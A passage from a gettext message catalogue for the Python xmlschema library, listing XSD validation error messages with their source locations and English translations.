name={!r} is already loaded" msgstr "global xs:{} with name={!r} is already loaded" #: xmlschema/validators/builders.py:560 msgid "not a redefinition!" msgstr "not a redefinition!" #: xmlschema/validators/builders.py:618 msgid "redefined schema {!r} has a different targetNamespace" msgstr "redefined schema {!r} has a different targetNamespace" #: xmlschema/validators/builders.py:629 msgid "unexpected instance {!r} in XSD {} global map" msgstr "unexpected instance {!r} in XSD {} global map" #: xmlschema/validators/complex_types.py:137 msgid "missing attribute 'name' in a global complexType" msgstr "missing attribute 'name' in a global complexType" #: xmlschema/validators/complex_types.py:142 msgid "attribute 'name' not allowed in a local complexType" msgstr "attribute 'name' not allowed in a local complexType" #: xmlschema/validators/complex_types.py:165 msgid "'mixed' attribute not allowed with simpleContent" msgstr "'mixed' attribute not allowed with simpleContent" #: xmlschema/validators/complex_types.py:180 #, python-format msgid "unexpected tag %r after simpleContent declaration:" msgstr "unexpected tag %r after simpleContent declaration:" #: xmlschema/validators/complex_types.py:191 msgid "" "value of 'mixed' attribute in complexType and complexContent must be the same" msgstr "" "value of 'mixed' attribute in complexType and complexContent must be the same" #: xmlschema/validators/complex_types.py:211 #, python-format msgid "unexpected tag %r after complexContent declaration" msgstr "unexpected tag %r after complexContent declaration" #: xmlschema/validators/complex_types.py:236 #, python-format msgid "unexpected tag %r for complexType content" msgstr "unexpected tag %r for complexType content" #: xmlschema/validators/complex_types.py:244 #: xmlschema/validators/simple_types.py:1266 msgid "wrong definition with self-reference" msgstr "wrong definition with self-reference" #: xmlschema/validators/complex_types.py:247 #: xmlschema/validators/simple_types.py:1273 msgid "wrong redefinition without self-reference" msgstr "wrong redefinition without self-reference" #: xmlschema/validators/complex_types.py:258 msgid "restriction or extension tag expected" msgstr "restriction or extension tag expected" #: xmlschema/validators/complex_types.py:265 msgid "{!r} is expected to have a redefined/overridden component" msgstr "{!r} is expected to have a redefined/overridden component" #: xmlschema/validators/complex_types.py:270 msgid "{0!r} derivation not allowed for {1!r}" msgstr "{0!r} derivation not allowed for {1!r}" #: xmlschema/validators/complex_types.py:280 msgid "'base' attribute required" msgstr "'base' attribute required" #: xmlschema/validators/complex_types.py:289 #, python-format msgid "missing base type %r" msgstr "missing base type %r" #: xmlschema/validators/complex_types.py:300 #: xmlschema/validators/complex_types.py:314 msgid "a complexType ancestor required: {!r}" msgstr "a complexType ancestor required: {!r}" #: xmlschema/validators/complex_types.py:305 #, python-format msgid "derivation by %r blocked by attribute 'final' in base type" msgstr "derivation by %r blocked by attribute 'final' in base type" #: xmlschema/validators/complex_types.py:324 msgid "a not empty simpleContent cannot restrict an empty content type" msgstr "a not empty simpleContent cannot restrict an empty content type" #: xmlschema/validators/complex_types.py:333 msgid "content type is not a restriction of base content" msgstr "content type is not a restriction of base content" #: xmlschema/validators/complex_types.py:341 msgid "with simpleContent cannot restrict an element-only content type" msgstr "with simpleContent cannot restrict an element-only content type" #: xmlschema/validators/complex_types.py:353 xmlschema/validators/groups.py:544 #, python-format msgid "unexpected tag %r" msgstr "unexpected tag %r" #: xmlschema/validators/complex_types.py:363 #, python-format msgid "base type %r has no simple content" msgstr "base type %r has no simple content" #: xmlschema/validators/complex_types.py:371 msgid "the base type is not derivable by restriction" msgstr "the base type is not derivable by restriction" #: xmlschema/validators/complex_types.py:374 #: xmlschema/validators/complex_types.py:467 #: xmlschema/validators/complex_types.py:914 #, python-format msgid "base %r is simple or has a simple content" msgstr "base %r is simple or has a simple content" #: xmlschema/validators/complex_types.py:386 #, python-brace-format msgid "" "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" msgstr "" "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" #: xmlschema/validators/complex_types.py:398 msgid "derived a mixed content from a base type that has element-only content" msgstr "derived a mixed content from a base type that has element-only content" #: xmlschema/validators/complex_types.py:401 msgid "an empty content derivation from base type that has not empty content" msgstr "an empty content derivation from base type that has not empty content" #: xmlschema/validators/complex_types.py:412 msgid "{0!r} is not a restriction of the base type {1!r}" msgstr "{0!r} is not a restriction of the base type {1!r}" #: xmlschema/validators/complex_types.py:421 #: xmlschema/validators/complex_types.py:919 msgid "the base type is not derivable by extension" msgstr "the base type is not derivable by extension" #: xmlschema/validators/complex_types.py:454 #: xmlschema/validators/complex_types.py:964 #: xmlschema/validators/complex_types.py:1014 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty." msgstr "" "base has a different content type (mixed=%r) and the extension group is not " "empty." #: xmlschema/validators/complex_types.py:474 msgid "cannot extend a complex content with xs:all" msgstr "cannot extend a complex content with xs:all" #: xmlschema/validators/complex_types.py:477 msgid "xs:sequence cannot extend xs:all" msgstr "xs:sequence cannot extend xs:all" #: xmlschema/validators/complex_types.py:487 msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" msgstr "XSD 1.0 does not allow extension of a not empty 'all' model group" #: xmlschema/validators/complex_types.py:490 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty" msgstr "" "base has a different content type (mixed=%r) and the extension group is not " "empty" #: xmlschema/validators/complex_types.py:503 #: xmlschema/validators/complex_types.py:1028 msgid "extended type has a mixed content but the base is element-only" msgstr "extended type has a mixed content but the base is element-only" #: xmlschema/validators/complex_types.py:670 msgid "global type {!r} is not built" msgstr "global type {!r} is not built" #: xmlschema/validators/complex_types.py:745 #: xmlschema/validators/complex_types.py:771 #, python-format msgid "cannot decode %(obj)r data with %(decoder)r" msgstr "cannot decode %(obj)r data with %(decoder)r" #: xmlschema/validators/complex_types.py:868 msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" msgstr "the simple content of {!r} is not a valid simple type in XSD 1.1" #: xmlschema/validators/complex_types.py:875 msgid "openContent mismatch between type and model group" msgstr "openContent mismatch between type and model group" #: xmlschema/validators/complex_types.py:887 #, python-format msgid "attribute %r must be inheritable" msgstr "attribute %r must be inheritable" #: xmlschema/validators/complex_types.py:903 msgid "default attribute {!r} is already declared in the complex type" msgstr "default attribute {!r} is already declared in the complex type" #: xmlschema/validators/complex_types.py:968 msgid "cannot extend an empty mixed content with an xs:all" msgstr "cannot extend an empty mixed content with an xs:all" #: xmlschema/validators/complex_types.py:986 #, python-format msgid "xs:all cannot extend a not empty xs:%s" msgstr "xs:all cannot extend a not empty xs:%s" #: xmlschema/validators/complex_types.py:1001 msgid "cannot extend a not empty 'all' model group with a different model" msgstr "cannot extend a not empty 'all' model group with a different model" #: xmlschema/validators/complex_types.py:1004 msgid "when extend an xs:all group minOccurs must be the same" msgstr "when extend an xs:all group minOccurs must be the same" #: xmlschema/validators/complex_types.py:1007 msgid "cannot extend an xs:all group with mixed empty content" msgstr "cannot extend an xs:all group with mixed empty content" #: xmlschema/validators/complex_types.py:1051 msgid "{0!r} is not an extension of the base type {1!r}" msgstr "{0!r} is not an extension of the base type {1!r}" #: xmlschema/validators/elements.py:178 #, python-format msgid "unknown element %r" msgstr "unknown element %r" #: xmlschema/validators/elements.py:197 msgid "attribute {!r} is not allowed when element reference is used" msgstr "attribute {!r} is not allowed when element reference is used" #: xmlschema/validators/elements.py:218 msgid "local scope elements cannot have abstract attribute" msgstr "local scope elements cannot have abstract attribute" #: xmlschema/validators/elements.py:245 msgid "attribute {!r} is not allowed in a global element declaration" msgstr "attribute {!r} is not allowed in a global element declaration" #: xmlschema/validators/elements.py:250 msgid "attribute {!r} not allowed in a local element declaration" msgstr "attribute {!r} not allowed in a local element declaration" #: xmlschema/validators/elements.py:268 xmlschema/validators/elements.py:1529 #: xmlschema/validators/simple_types.py:908 #: xmlschema/validators/simple_types.py:1070 #: xmlschema/validators/simple_types.py:1279 msgid "unknown type {!r}" msgstr "unknown type {!r}" #: xmlschema/validators/elements.py:273 msgid "" "the attribute 'type' and a xs:{} local declaration are mutually exclusive" msgstr "" "the attribute 'type' and a xs:{} local declaration are mutually exclusive" #: xmlschema/validators/elements.py:295 msgid "'default' value {!r} is not compatible with element's type" msgstr "'default' value {!r} is not compatible with element's type" #: xmlschema/validators/elements.py:299 msgid "xs:ID or a type derived from xs:ID cannot have a default value" msgstr "xs:ID or a type derived from xs:ID cannot have a default value" #: xmlschema/validators/elements.py:305 msgid "'fixed' value {!r} is not compatible with element's type" msgstr "'fixed' value {!r} is not compatible with element's type" #: xmlschema/validators/elements.py:309 msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" msgstr "xs:ID or a type derived from xs:ID cannot have a fixed value" #: xmlschema/validators/elements.py:326 xmlschema/validators/elements.py:334 #, python-format msgid "duplicated identity constraint %r:" msgstr "duplicated identity constraint %r:" #: xmlschema/validators/elements.py:356 #, python-format msgid "unknown substitutionGroup %r" msgstr "unknown substitutionGroup %r" #: xmlschema/validators/elements.py:361 #, python-format msgid "circularity found for substitutionGroup %r" msgstr "circularity found for substitutionGroup %r" #: xmlschema/validators/elements.py:376 msgid "" "{0!r} type is not of the same or a derivation of the head element {1!r} type" msgstr "" "{0!r} type is not of the same or a derivation of the head element {1!r} type" #: xmlschema/validators/elements.py:380 #, python-format msgid "" "head element %r can't be substituted by an element that has a derivation of " "its type" msgstr "" "head element %r can't be substituted by an element that has a derivation of " "its type" #: xmlschema/validators/elements.py:384 #, python-format msgid "" "head element %r can't be substituted by an element that has an extension of " "its type" msgstr "" "head element %r can't be substituted by an element that has an extension of " "its type" #: xmlschema/validators/elements.py:388 #, python-format msgid "" "head element %r can't be substituted by an element that has a restriction of " "its type" msgstr "" "head element %r can't be substituted by an element that has a restriction of " "its type" #: xmlschema/validators/elements.py:566 msgid "schemaLocation declaration after namespace start" msgstr "schemaLocation declaration after namespace start" #: xmlschema/validators/elements.py:599 xmlschema/validators/elements.py:935 msgid "can't use an abstract element in an instance" msgstr "can't use an abstract element for validation" #: xmlschema/validators/elements.py:602 xmlschema/validators/elements.py:938 msgid "" "can't use an abstract XSD element for validation unless it's the head of a " "substitution group" msgstr "" "can't use an abstract XSD element for validation unless it's the head of a " "substitution group" #: xmlschema/validators/elements.py:610 xmlschema/validators/elements.py:951 msgid "can't use an abstract XSD element for validation" msgstr "can't use an abstract XSD element for validation" #: xmlschema/validators/elements.py:664 #, python-format msgid "usage of %r is blocked" msgstr "usage of %r is blocked" #: xmlschema/validators/elements.py:668 #, python-format msgid "%r is abstract" msgstr "%r is abstract" #: xmlschema/validators/elements.py:697 msgid "element is not nillable" msgstr "element is not nillable" #: xmlschema/validators/elements.py:700 msgid "xsi:nil attribute must have a boolean value" msgstr "xsi:nil attribute must have a boolean value" #: xmlschema/validators/elements.py:705 msgid "xsi:nil='true' but the element has a fixed value" msgstr "xsi:nil='true' but the element has a fixed value" #: xmlschema/validators/elements.py:708 msgid "xsi:nil='true' but the element is not empty" msgstr "xsi:nil='true' but the element is not empty" #: xmlschema/validators/elements.py:714 msgid "character data is not allowed because content is empty" msgstr "character data is not allowed because content is empty" #: xmlschema/validators/elements.py:733 xmlschema/validators/elements.py:749 #, python-format msgid "must have the fixed value %r" msgstr "must have the fixed value %r" #: xmlschema/validators/elements.py:738 msgid "a simple content element can't have child elements" msgstr "a simple content element can't have child elements" #: xmlschema/validators/elements.py:1284 msgid "test attribute missing in non-final alternative" msgstr "test attribute missing in non-final alternative" #: xmlschema/validators/elements.py:1396 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" msgstr "Maybe a not equivalent type table between elements {0!r} and {1!r}" #: xmlschema/validators/elements.py:1429 #, python-brace-format msgid "adding schema at {url} change the " msgstr "" #: xmlschema/validators/elements.py:1511 xmlschema/validators/elements.py:1519 msgid "missing 'type' attribute" msgstr "missing 'type' attribute" #: xmlschema/validators/elements.py:1523 msgid "declared type is not derived from {!r}" msgstr "declared type is not derived from {!r}" #: xmlschema/validators/elements.py:1533 msgid "type {0!r} is not derived from {1!r}" msgstr "type {0!r} is not derived from {1!r}" #: xmlschema/validators/elements.py:1538 #, python-format msgid "" "the attribute 'type' and the xs:%s local declaration are mutually exclusive" msgstr "" "the attribute 'type' and the xs:%s local declaration are mutually exclusive" #: xmlschema/validators/exceptions.py:177 #, fuzzy msgid "Circular definition detected for xs:{} {!r}." msgstr "Circular definition detected for xs:{} {!r}." #: xmlschema/validators/exceptions.py:439 #, python-format msgid "The content of element %r is not complete." msgstr "The content of element %r is not complete." #: xmlschema/validators/exceptions.py:443 #, python-format msgid "Unexpected child with tag %r at position %d." msgstr "Unexpected child with tag %r at position %d." #: xmlschema/validators/exceptions.py:459 #, python-format msgid " Tag (%s) expected." msgstr " Tag (%s) expected." #: xmlschema/validators/exceptions.py:461 #, python-format msgid " Tag %s expected." msgstr " Tag %s expected." #: xmlschema/validators/exceptions.py:463 #, python-format msgid " Tag %r expected." msgstr " Tag %r expected." #: xmlschema/validators/facets.py:87 msgid "{0!r} facet value is fixed to {1!r}" msgstr "{0!r} facet value is fixed to {1!r}" #: xmlschema/validators/facets.py:95 msgid "invalid type {!r} provided: {}" msgstr "invalid type {!r} provided: {}" #: xmlschema/validators/facets.py:138 xmlschema/validators/facets.py:141 msgid "facet value can be only 'collapse'" msgstr "facet value can be only 'collapse'" #: xmlschema/validators/facets.py:143 msgid "facet value can be only 'replace' or 'collapse'" msgstr "facet value can be only 'replace' or 'collapse'" #: xmlschema/validators/facets.py:149 msgid "value contains tabs or newlines" msgstr "value contains tabs or newlines" #: xmlschema/validators/facets.py:158 msgid "value contains non collapsed white spaces" msgstr "value contains non collapsed white spaces" #: xmlschema/validators/facets.py:184 msgid "base facet has a different length ({})" msgstr "base facet has a different length ({})" #: xmlschema/validators/facets.py:195 msgid "length has to be {!r}" msgstr "length has to be {!r}" #: xmlschema/validators/facets.py:222 msgid "base facet has a greater min length ({})" msgstr "base facet has a greater min length ({})" #: xmlschema/validators/facets.py:233 msgid "value length cannot be lesser than {!r}" msgstr "value length cannot be lesser than {!r}" #: xmlschema/validators/facets.py:260 msgid "base type has a lesser max length ({})" msgstr "base type has a lesser max length ({})" #: xmlschema/validators/facets.py:271 msgid "value length cannot be greater than {!r}" msgstr "value length cannot be greater than {!r}" #: xmlschema/validators/facets.py:305 xmlschema/validators/facets.py:346 #: xmlschema/validators/facets.py:389 xmlschema/validators/facets.py:428 msgid "invalid restriction: {}" msgstr "invalid restriction: {}" #: xmlschema/validators/facets.py:312 msgid "value has to be greater or equal than {!r}" msgstr "value has to be greater or equal than {!r}" #: xmlschema/validators/facets.py:350 msgid "invalid restriction: {} is also the maximum" msgstr "invalid restriction: {} is also the maximum" #: xmlschema/validators/facets.py:356 msgid "value has to be greater than {!r}" msgstr "value has to be greater than {!r}" #: xmlschema/validators/facets.py:394 msgid "value has to be less than or equal than {!r}" msgstr "value has to be less than or equal than {!r}" #: xmlschema/validators/facets.py:432 msgid "invalid restriction: {} is also the minimum" msgstr "invalid restriction: {} is also the minimum" #: xmlschema/validators/facets.py:438 msgid "value has to be lesser than {!r}" msgstr "value has to be lesser than {!r}" #: xmlschema/validators/facets.py:475 xmlschema/validators/facets.py:537 msgid "invalid restriction: base value is lower ({})" msgstr "invalid restriction: base value is lower ({})" #: xmlschema/validators/facets.py:488 msgid "the number of digits has to be lesser or equal than {!r}" msgstr "the number of digits has to be lesser or equal than {!r}" #: xmlschema/validators/facets.py:516 msgid "" "fractionDigits facet can be applied only to types derived from xs:decimal" msgstr "" "fractionDigits facet can be applied only to types derived from xs:decimal" #: xmlschema/validators/facets.py:532 msgid "fractionDigits facet value must be 0 for types derived from xs:integer" msgstr "fractionDigits facet value must be 0 for types derived from xs:integer" #: xmlschema/validators/facets.py:549 msgid "the number of fraction digits has to be lesser or equal than {!r}" msgstr "the number of fraction digits has to be lesser or equal than {!r}" #: xmlschema/validators/facets.py:579 msgid "invalid restriction from {!r}" msgstr "invalid restriction from {!r}" #: xmlschema/validators/facets.py:585 msgid "time zone required for value {!r}" msgstr "time zone required for value {!r}" #: xmlschema/validators/facets.py:593 msgid "time zone prohibited for value {!r}" msgstr "time zone prohibited for value {!r}" #: xmlschema/validators/facets.py:643 msgid "value {!r} must match a notation declaration" msgstr "value {!r} must match a notation declaration" #: xmlschema/validators/facets.py:701 msgid "value must be one of {!r}" msgstr "value must be one of {!r}" #: xmlschema/validators/facets.py:798 msgid "value doesn't match any pattern of {!r}" msgstr "value doesn't match any pattern of {!r}" #: xmlschema/validators/facets.py:849 msgid "missing attribute 'test'" msgstr "missing attribute 'test'" #: xmlschema/validators/facets.py:879 msgid "value is not true with test path {!r}" msgstr "value is not true with test path {!r}" #: xmlschema/validators/global_maps.py:142 msgid "multiple redefinition for {} {!r}" msgstr "multiple redefinition for {} {!r}" #: xmlschema/validators/global_maps.py:157 msgid "circular redefinition for {} {!r}" msgstr "circular redefinition for {} {!r}" #: xmlschema/validators/global_maps.py:262 msgid "can't change attribute {!r} of a global maps instance" msgstr "can't change attribute {!r} of a global maps instance" #: xmlschema/validators/global_maps.py:324 msgid "wrong tag {!r} for an XSD global definition/declaration" msgstr "wrong tag {!r} for an XSD global definition/declaration" #: xmlschema/validators/global_maps.py:382 msgid "{0!r} cannot substitute {1!r}" msgstr "{0!r} cannot substitute {1!r}" #: xmlschema/validators/global_maps.py:684 msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" msgstr "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" #: xmlschema/validators/global_maps.py:731 msgid "global maps main validator is not registered" msgstr "" #: xmlschema/validators/global_maps.py:744 msgid "schema {} does not belong to namespace {!r}" msgstr "schema {} does not belong to namespace {!r}" #: xmlschema/validators/global_maps.py:748 msgid "duplicate of schema {} found in namespace {!r}" msgstr "duplicate of schema {} found in namespace {!r}" #: xmlschema/validators/global_maps.py:753 msgid "registered schemas do not match namespace mapped schemas" msgstr "registered schemas do not match namespace mapped schemas" #: xmlschema/validators/global_maps.py:773 msgid "circularity found for substitution group with head element {}" msgstr "circularity found for substitution group with head element {}" #: xmlschema/validators/global_maps.py:778 msgid "global group not built!" msgstr "global group not built!" #: xmlschema/validators/global_maps.py:785 msgid "the redefined group is an illegal restriction" msgstr "the redefined group is an illegal restriction" #: xmlschema/validators/global_maps.py:801 msgid "the derived group is an illegal restriction" msgstr "the derived group is an illegal restriction" #: xmlschema/validators/global_maps.py:811 msgid "restriction has an open content but base type has not" msgstr "restriction has an open content but base type has not" #: xmlschema/validators/global_maps.py:817 msgid "" "can't verify the content model of {!r} due to exceeding of maximum recursion " "depth" msgstr "" "can't verify the content model of {!r} due to exceeding of maximum recursion " "depth" #: xmlschema/validators/groups.py:399 msgid "{!r} is not a particle of the model group" msgstr "{!r} is not a particle of the model group" #: xmlschema/validators/groups.py:481 xmlschema/validators/groups.py:521 msgid "attribute 'name' not allowed in a local group" msgstr "attribute 'name' not allowed in a local group" #: xmlschema/validators/groups.py:490 #, python-format msgid "missing group %r" msgstr "missing group %r" #: xmlschema/validators/groups.py:500 xmlschema/validators/groups.py:552 msgid "maxOccurs must be 1 for 'all' model groups" msgstr "maxOccurs must be 1 for 'all' model groups" #: xmlschema/validators/groups.py:503 xmlschema/validators/groups.py:555 #: xmlschema/validators/groups.py:1243 msgid "minOccurs must be (0 | 1) for 'all' model groups" msgstr "minOccurs must be (0 | 1) for 'all' model groups" #: xmlschema/validators/groups.py:506 msgid "in XSD 1.0 an 'all' model group cannot be nested" msgstr "in XSD 1.0 an 'all' model group cannot be nested" #: xmlschema/validators/groups.py:525 xmlschema/validators/groups.py:535 msgid "attribute 'minOccurs' not allowed in a global group" msgstr "attribute 'minOccurs' not allowed in a global group" #: xmlschema/validators/groups.py:528 xmlschema/validators/groups.py:538 msgid "attribute 'maxOccurs' not allowed in a global group" msgstr "attribute 'maxOccurs' not allowed in a global group" #: xmlschema/validators/groups.py:566 msgid "'all' model can contain only elements" msgstr "'all' model can contain only elements" #: xmlschema/validators/groups.py:576 xmlschema/validators/groups.py:1259 msgid "missing attribute 'ref' in local group" msgstr "missing attribute 'ref' in local group" #: xmlschema/validators/groups.py:585 msgid "'all' model can appears only at 1st level of a model group" msgstr "'all' model can appears only at 1st level of a model group" #: xmlschema/validators/groups.py:593 #, fuzzy msgid "Redefined group reference can't have minOccurs/maxOccurs other than 1" msgstr "Redefined group reference cannot have minOccurs/maxOccurs other than 1" #: xmlschema/validators/groups.py:597 xmlschema/validators/groups.py:1281 #, python-format msgid "Circular definition detected for group %r" msgstr "Circular definition detected for group %r" #: xmlschema/validators/groups.py:853 #, python-format msgid "substitution of %r is blocked" msgstr "substitution of %r is blocked" #: xmlschema/validators/groups.py:906 msgid "usage of {0!r} with type {1} is blocked by head element" msgstr "usage of {0!r} with type {1} is blocked by head element" #: xmlschema/validators/groups.py:931 msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" msgstr "" "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" #: xmlschema/validators/groups.py:937 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." msgstr "Maybe a not equivalent type table between elements {0!r} and {1!r}." #: xmlschema/validators/groups.py:966 msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" msgstr "an empty 'choice' group with minOccurs > 0 cannot validate any content" #: xmlschema/validators/groups.py:977 xmlschema/validators/groups.py:1211 msgid "character data between child elements not allowed" msgstr "character data between child elements not allowed" #: xmlschema/validators/groups.py:990 #, python-format msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" msgstr "XML data depth exceeded (MAX_XML_DEPTH=%r)" #: xmlschema/validators/groups.py:1168 msgid "{!r} does not match any declared element of the model group" msgstr "{!r} does not match any declared element of the model group" #: xmlschema/validators/groups.py:1171 msgid "{0} has an unknown prefix {1!r}" msgstr "{0} has an unknown prefix {1!r}" #: xmlschema/validators/groups.py:1206 msgid "wrong content type {!r}" msgstr "wrong content type {!r}" #: xmlschema/validators/groups.py:1240 msgid "maxOccurs must be (0 | 1) for 'all' model groups" msgstr "maxOccurs must be (0 | 1) for 'all' model groups" #: xmlschema/validators/groups.py:1269 #, python-brace-format msgid "an xs:{0} group cannot include a reference to an xs:{1} group" msgstr "an xs:{0} group cannot include a reference to an xs:{1} group" #: xmlschema/validators/groups.py:1276 msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" msgstr "Redefined group reference cannot have minOccurs/maxOccurs other than 1" #: xmlschema/validators/helpers.py:50 #, python-format msgid "wrong value %r for attribute %r" msgstr "wrong value %r for attribute %r" #: xmlschema/validators/helpers.py:79 msgid "value is not a valid xs:decimal" msgstr "value is not a valid xs:decimal" #: xmlschema/validators/helpers.py:85 msgid "value is not an xs:QName" msgstr "value is not an xs:QName" #: xmlschema/validators/helpers.py:91 xmlschema/validators/helpers.py:97 #: xmlschema/validators/helpers.py:103 xmlschema/validators/helpers.py:109 #: xmlschema/validators/helpers.py:115 xmlschema/validators/helpers.py:121 #: xmlschema/validators/helpers.py:127 xmlschema/validators/helpers.py:133 msgid "value must be {:s}" msgstr "value must be {:s}" #: xmlschema/validators/helpers.py:139 msgid "value must be negative" msgstr "value must be negative" #: xmlschema/validators/helpers.py:145 msgid "value must be positive" msgstr "value must be positive" #: xmlschema/validators/helpers.py:151 msgid "value must be non positive" msgstr "value must be non positive" #: xmlschema/validators/helpers.py:157 msgid "value must be non negative" msgstr "value must be non negative" #: xmlschema/validators/helpers.py:164 msgid "not an hexadecimal number" msgstr "not an hexadecimal number" #: xmlschema/validators/helpers.py:177 msgid "not a base64 encoding" msgstr "not a base64 encoding" #: xmlschema/validators/helpers.py:182 msgid "no value is allowed for xs:error type" msgstr "no value is allowed for xs:error type" #: xmlschema/validators/helpers.py:192 msgid "{!r} is not a boolean value" msgstr "{!r} is not a boolean value" #: xmlschema/validators/models.py:144 msgid "" "Element Declarations Consistent violation between {0!r} and {1!r}: match the " "same name but with different types" msgstr "" "Element Declarations Consistent violation between {0!r} and {1!r}: match the " "same name but with different types" #: xmlschema/validators/models.py:158 msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" msgstr "{0!r} and {1!r} overlap and are in the same {2!r} group" #: xmlschema/validators/models.py:170 msgid "Unique Particle Attribution violation between {0!r} and {1!r}" msgstr "Unique Particle Attribution violation between {0!r} and {1!r}" #: xmlschema/validators/notations.py:36 msgid "a notation declaration must be global" msgstr "a notation declaration must be global" #: xmlschema/validators/notations.py:40 msgid "a notation must have a 'name' attribute" msgstr "a notation must have a 'name' attribute" #: xmlschema/validators/notations.py:43 msgid "a notation must have a 'public' or a 'system' attribute" msgstr "a notation must have a 'public' or a 'system' attribute" #: xmlschema/validators/particles.py:142 msgid "minOccurs value is not an integer value" msgstr "minOccurs value is not an integer value" #: xmlschema/validators/particles.py:146 msgid "minOccurs value must be a non negative integer" msgstr "minOccurs value must be a non negative integer" #: xmlschema/validators/particles.py:154 msgid "minOccurs must be lesser or equal than maxOccurs" msgstr "minOccurs must be lesser or equal than maxOccurs" #: xmlschema/validators/particles.py:162 msgid "maxOccurs value must be a non negative integer or 'unbounded'" msgstr "maxOccurs value must be a non negative integer or 'unbounded'" #: xmlschema/validators/particles.py:166 msgid "maxOccurs must be 'unbounded' or greater than minOccurs" msgstr "maxOccurs must be 'unbounded' or greater than minOccurs" #: xmlschema/validators/schemas.py:146 msgid "XSD_VERSION must be '1.0' or '1.1'" msgstr "XSD_VERSION must be '1.0' or '1.1'" #: xmlschema/validators/schemas.py:323 msgid "no XSD source provided!" msgstr "no XSD source provided!" #: xmlschema/validators/schemas.py:349 msgid "the attribute 'targetNamespace' cannot be an empty string" msgstr "the attribute 'targetNamespace' cannot be an empty string" #: xmlschema/validators/schemas.py:352 msgid "" "targetNamespace of XSD resource {} differs from what expected (found {!r} " "instead of {!r})" msgstr "" #: xmlschema/validators/schemas.py:374 #, python-brace-format msgid "The namespace {nm.XMLNS_NAMESPACE} cannot be used as 'targetNamespace'" msgstr "" #: xmlschema/validators/schemas.py:443 #, python-format msgid "'global_maps' argument must be an %r instance" msgstr "'global_maps' argument must be an %r instance" #: xmlschema/validators/schemas.py:510 msgid "can't change the global maps instance of a class meta-schema" msgstr "can't change the global maps instance of a class meta-schema" #: xmlschema/validators/schemas.py:514 #, fuzzy msgid "" "can't change the global maps instance of a schema that is the main validator " "of another global maps instance" msgstr "" "can't change the global maps instance of a schema that is the main validator " "of another global maps instance" #: xmlschema/validators/schemas.py:528 msgid "can't set the meta_schema instance of a schema" msgstr "can't set the meta_schema instance of a schema" #: xmlschema/validators/schemas.py:536 xmlschema/validators/schemas.py:540 msgid "can't change the {!r} attribute of a schema" msgstr "can't change the {!r} attribute of a schema" #: xmlschema/validators/schemas.py:738 #, python-format msgid "meta-schema unavailable for %r" msgstr "meta-schema unavailable for %r" #: xmlschema/validators/schemas.py:949 msgid "the namespace {!r} is not loaded" msgstr "the namespace {!r} is not loaded" #: xmlschema/validators/schemas.py:1083 msgid "invalid attribute vc:minVersion value" msgstr "invalid attribute vc:minVersion value" #: xmlschema/validators/schemas.py:1092 msgid "invalid attribute vc:maxVersion value" msgstr "invalid attribute vc:maxVersion value" #: xmlschema/validators/schemas.py:1168 xmlschema/validators/schemas.py:1175 msgid "{!r} is not a valid value for xs:QName" msgstr "{!r} is not a valid value for xs:QName" #: xmlschema/validators/schemas.py:1184 msgid "prefix {!r} not found in namespace map" msgstr "prefix {!r} not found in namespace map" #: xmlschema/validators/schemas.py:1192 msgid "" "the QName {!r} is mapped to no namespace, but this requires that there is an " "xs:import statement in the schema without the 'namespace' attribute." msgstr "" "the QName {!r} is mapped to no namespace, but this requires that there is an " "xs:import statement in the schema without the 'namespace' attribute." #: xmlschema/validators/schemas.py:1201 msgid "" "the QName {!r} is mapped to the namespace {!r}, but this namespace has not " "an xs:import statement in the schema." msgstr "" "the QName {!r} is mapped to the namespace {!r}, but this namespace has not " "an xs:import statement in the schema." #: xmlschema/validators/schemas.py:1365 xmlschema/validators/schemas.py:1422 #: xmlschema/validators/schemas.py:1601 msgid "{!r} is not an element of the schema" msgstr "{!r} is not an element of the schema" #: xmlschema/validators/schemas.py:1379 msgid "the provided path selects nothing to validate" msgstr "" #: xmlschema/validators/schemas.py:1395 #, python-format msgid "IDREF %r not found in XML document" msgstr "IDREF %r not found in XML document" #: xmlschema/validators/schemas.py:1703 msgid "encoding needs at least one XSD element declaration" msgstr "encoding needs at least one XSD element declaration" #: xmlschema/validators/schemas.py:1745 #, python-format msgid "the path %r doesn't match any element of the schema!" msgstr "the path %r doesn't match any element of the schema!" #: xmlschema/validators/schemas.py:1747 msgid "" "unable to select an element for encoding data, provide a valid 'path' " "argument." msgstr "" "unable to select an element for encoding data, provide a valid 'path' " "argument." #: xmlschema/validators/simple_types.py:120 #, python-format msgid "wrong value %r for facet xs:whiteSpace" msgstr "wrong value %r for facet xs:whiteSpace" #: xmlschema/validators/simple_types.py:162 msgid "facets not allowed for a direct derivation of xs:anySimpleType" msgstr "facets not allowed for a direct derivation of xs:anySimpleType" #: xmlschema/validators/simple_types.py:166 msgid "facets not allowed for a direct content derivation of xs:anySimpleType" msgstr "facets not allowed for a direct content derivation of xs:anySimpleType" #: xmlschema/validators/simple_types.py:172 msgid "one or more facets are not applicable, admitted set is {!r}" msgstr "one or more facets are not applicable, admitted set is {!r}" #: xmlschema/validators/simple_types.py:178 #, python-format msgid "facet group must have the same base type: %r" msgstr "facet group must have the same base type: %r" #: xmlschema/validators/simple_types.py:188 msgid "'length' value must be non a negative integer" msgstr "'length' value must be non a negative integer" #: xmlschema/validators/simple_types.py:192 msgid "'minLength' value must be less than or equal to 'length'" msgstr "'minLength' value must be less than or equal to 'length'" #: xmlschema/validators/simple_types.py:199 msgid "cannot specify both 'length' and 'minLength'" msgstr "cannot specify both 'length' and 'minLength'" #: xmlschema/validators/simple_types.py:204 msgid "'maxLength' value must be greater or equal to 'length'" msgstr "'maxLength' value must be greater or equal to 'length'" #: xmlschema/validators/simple_types.py:212 msgid "cannot specify both 'length' and 'maxLength'" msgstr "cannot specify 